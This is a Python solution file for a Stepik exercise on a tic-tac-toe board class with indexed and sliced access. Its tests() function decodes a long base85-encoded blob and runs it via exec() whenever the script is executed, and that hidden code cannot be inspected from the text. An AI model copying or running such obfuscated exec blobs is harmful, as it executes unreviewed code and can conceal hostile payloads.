py_stepik/mod_oop/3.8_10_tictactoe.py

170 lines
8.5 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

"""
https://stepik.org/lesson/701993/step/10?unit=702094
Вам нужно реализовать в программе игровое поле для игры "Крестики-нолики".
Для этого требуется объявить класс TicTacToe (крестики-нолики), объекты которого создаются командой:
game = TicTacToe()
Каждый объект game должен иметь публичный атрибут:
pole - игровое поле: кортеж размером 3х3 с объектами класса Cell.
Каждая клетка игрового поля представляется объектом класса Cell и создается командой:
cell = Cell()
Объекты класса Cell должны иметь следующие публичные локальные атрибуты:
is_free - True, если клетка свободна; False в противном случае;
value - значение поля: 1 - крестик; 2 - нолик (по умолчанию 0).
Также с каждым объектом класса Cell должна работать функция:
bool(cell)
которая возвращает True, если клетка свободна (cell.is_free=True) и False в противном случае.
Класс TicTacToe должен иметь следующий метод:
clear() - очистка игрового поля (все клетки заполняются нулями и переводятся в закрытое состояние);
А объекты этого класса должны иметь следующую функциональность (обращение по индексам):
game[0, 0] = 1 # установка нового значения, если поле закрыто
res = game[1, 1] # получение значения центральной ячейки поля (возвращается число)
Если указываются некорректные индексы, то должно генерироваться исключение командой:
raise IndexError('неверный индекс клетки')
Если идет попытка присвоить новое значение в открытую клетку поля, то генерировать исключение:
raise ValueError('клетка уже занята')
Также должны быть реализованы следующие полные срезы при обращении к клеткам игрового поля:
slice_1 = game[:, indx] # выбираются все элементы (кортеж) столбца с индексом indx
slice_2 = game[indx, :] # выбираются все элементы (кортеж) строки с индексом indx
Пример использования классов (эти строчки в программе не писать):
game = TicTacToe()
game.clear()
game[0, 0] = 1
game[1, 0] = 2
# формируется поле:
# 1 0 0
# 2 0 0
# 0 0 0
game[3, 2] = 2 # генерируется исключение IndexError
if game[0, 0] == 0:
game[0, 0] = 2
v1 = game[0, :] # 1, 0, 0
v2 = game[:, 0] # 1, 2, 0
P.S. В программе нужно объявить только классы. Выводить на экран ничего не нужно.
P.P.S. При передаче среза в магических методах __setitem__() и __getitem__() параметр индекса становится объектом класса slice.
Его можно указывать непосредственно в квадратных скобках упорядоченных коллекций (списков, кортежей и т.п.).
"""
class Cell:
CHARS = " OX"
def __init__(self, value=0, is_free=True):
self.value, self.is_free = value, is_free
def __bool__(self):
return self.is_free
def __repr__(self):
return f"{self.__class__.__name__}{(self.value, self.is_free)!r}"
def __str__(self):
return self.CHARS[not self and self.value]
class TicTacToe:
def __init__(self, pole=None):
if pole is None:
pole = tuple(tuple(Cell() for _ in range(3)) for _ in range(3))
self.pole = pole
def clear(self):
for row in self.pole:
for cell in row:
cell.is_free = True
cell.value = 0
def _get_key(self, key):
if not isinstance(key, tuple) or len(key) != 2:
raise IndexError("неверный индекс клетки")
return tuple(x if isinstance(x, int) else None for x in key)
def __getitem__(self, key):
key = self._get_key(key)
row, col = key
if row is None and col is None:
return tuple(tuple(c.value for c in r) for r in self.pole)
if row is not None and col is not None:
return self.pole[row][col].value
if row is not None and col is None:
return tuple(x.value for x in self.pole[row])
return tuple(self.pole[row][col].value for row in range(len(self.pole)))
def __setitem__(self, key, value):
key = self._get_key(key)
row, col = key
if row is None and col is None:
for i, row in enumerate(value):
for j, v in enumerate(row):
self[i, j] = v
return
if row is not None and col is not None:
cell = self.pole[row][col]
if not cell.is_free:
raise ValueError("клетка уже занята")
cell.value = value
cell.is_free = False
return
if row is not None and col is None:
for j, v in enumerate(value):
self[row, j] = v
return
for i, v in enumerate(value):
self[i, col] = v
def __repr__(self):
return f"{self.__class__.__name__}({self.pole!r})"
def __str__(self):
return "\n".join(map(lambda r: " ".join(map(str, r)), self.pole))
def tests():
code = (
b"XCOTwRB2;WVPjNpWhf~MXD(xGWnpqCDGFh8b7gXLAZJ@JEFdslAU!=GFd$)WWFTi-GAtl6T_8O"
+ b"@ATTT-BGA3iu+fLmu+Y2FjL^N&i_o<o(6`XN(6G^m(6!LL(74f$AkebWfzY+lg&@$n(7VvJ(Sp#v"
+ b"(7GVdw9vlLyU@1Kz0r#x(6P~r(Sp&8Akl!(u+Xy5z0r#xFd_<PTQMvkF<l@%ATbJOTQV#lF<l@%A"
+ b"TkPJb8}^KbRcJ2F)Sc4T_8O@ATc0eZe$>5TQV#lF<l@%Js>hHAR^Gc(6!LA(6!Nk(7n*UAke<ig3"
+ b"*A`u+Xv4zR`lvu+Y2EuprRB(7({N(SXpf(T32t(T^a|ztMouxY2>ove2;5xX`lDu+Y8GxY3Uw(7n"
+ b"*U(6Z5s(S;z;x6r-Nu+fLmwa~rLxX`&E(7MpO(6!Nm(7MpD(7YhfxX`oFfY83sve3TJv(UaE(7({"
+ b"W(7Vx(ASlqd(7VvMEFjRm(6!LI(7w@t(SXpk(7Mrr(7n*UAkl!(u+Xv4zR`lvu+X*9f*{d>(TC8u"
+ b"(Sp&7(6Z35(7n*O(6u1Yx6r-Nu+fLmwa~rLxX`&NA_@w0a(OxmARr(ha%FQMJs@XWGb|u5T?%D*V"
+ b"`Xr3AW3dyWq3t$a&K}v3LqdLAYpTJWpZ>NRC0A?3T13_WjYEVARr)Nb8}^KbRb4yY;$ESAR^Gc(6"
+ b"u1ZfzY$iwa~rLwb6jkxY2;nzR<GJu+Y2EzR`ivj3Cgs(Sgvq(7Vx&(TC8r(7n*O(6t~*Ze(S6MRI"
+ b"a)av;#Z(SXpnAkl%*htRmug3*i6ve2;5z0kPOxFFED(6=Daz0kGMfzgA}iO{vtfzg7{veARlj?sz"
+ b"Gwa~dB(T~xG(6!LH(7MpLA_@v1ARr(LbaHt*3LqdLAZJ@MEFdslAUz;83T1d>WpH#LNp56ictvt@"
+ b"Z*n>cARr(hVRLh3a&#b6a&=`2Wo&b0Itm~lARu9Lb7gXLAVy(qb7d?bBGA3iwII=f(6i9B(7n*L("
+ b"SXpn(SXpt(6Z35(7VvS(Sgy7AketcfzZ0pyU~u(htRdqz0kPOwIE4uWMz0oa&m8SAke?jfY7)g(6"
+ b"`XA(7({Q(SgvoAkeZP(7n*L(Sgx}(TUKt(Sgx|(6Z5k(T>rH(Sy;BAkmM}htRdqxzM`NgCYtF3TG"
+ b"~3Y-M3`C@BhOTQDpjFkK)$ATbJOTQMvkFkK)$ATkPPTQV#lFkK)$ATtUIVRLh3a&#bPTQDpjI$a<"
+ b"=Js>DCEFdr}ATTK)VQyp~XIn8WAUa(jJv|^OGAtl4EFdr`AYpD~AZJ@TEFdslAU!=GC^0M`GAtl7"
+ b"DJ&o&(7n*L(7MpR(SXr_(6!LI(Sp#u(7qthzR`lwfY7kevCzKJg3z$gyU@5G(Sgx`(6!LF(TgC^z"
+ b"tFzXfzZ3qwII;4(TmWx(7w>J(6AuTywJ7Lg3!Luw9v31V{Bz%awsVv(6}JbztMouxY2>ove2;5xX"
+ b"`lDu+Y8GxY3Uw(7n*U(6Z5s(S;z;x6r-Nu+fLmwa~rLxX`&G3JPOoY-}JsAVXzrY$z!TVRLh3a&#"
+ b"bLWo&FNc42IFWgtC0ATTT-BGA3iu+fLmu+Y2FjL^N%zR<NG(6`XN(6G^m(6!LL(74dGAkeVUg3*A"
+ b"`xX`iDgVBP}upo9}Y;|QI(7MpO(6G^g(SgvgAVXzrY#`9I(7w>S(6-RM(7qthvC)gsg3*j1(SXpf"
+ b"(6Z3I(7qrrA_{V4b09q+V`Xe?E@^XLW^!d^3S(t#Y%XbYUuJS;WgtBuRC0A?3So0|WpZ>NVsCG3C"
+ b"}U-8Y$+@tBGH7=gV4Ruy3vNvxY3UwVsCG3AkebVwb6jkz0rfvyU?&8MqzAoWgyVB(7Vx(Akl%)ve"
+ b"3TJvCzKIw9viKzR<ZK(7MpO(6!Nm(7MpLA^"
)
exec(__import__("base64").b85decode(code))
if __name__ == "__main__":
import doctest
doctest.testmod()
tests()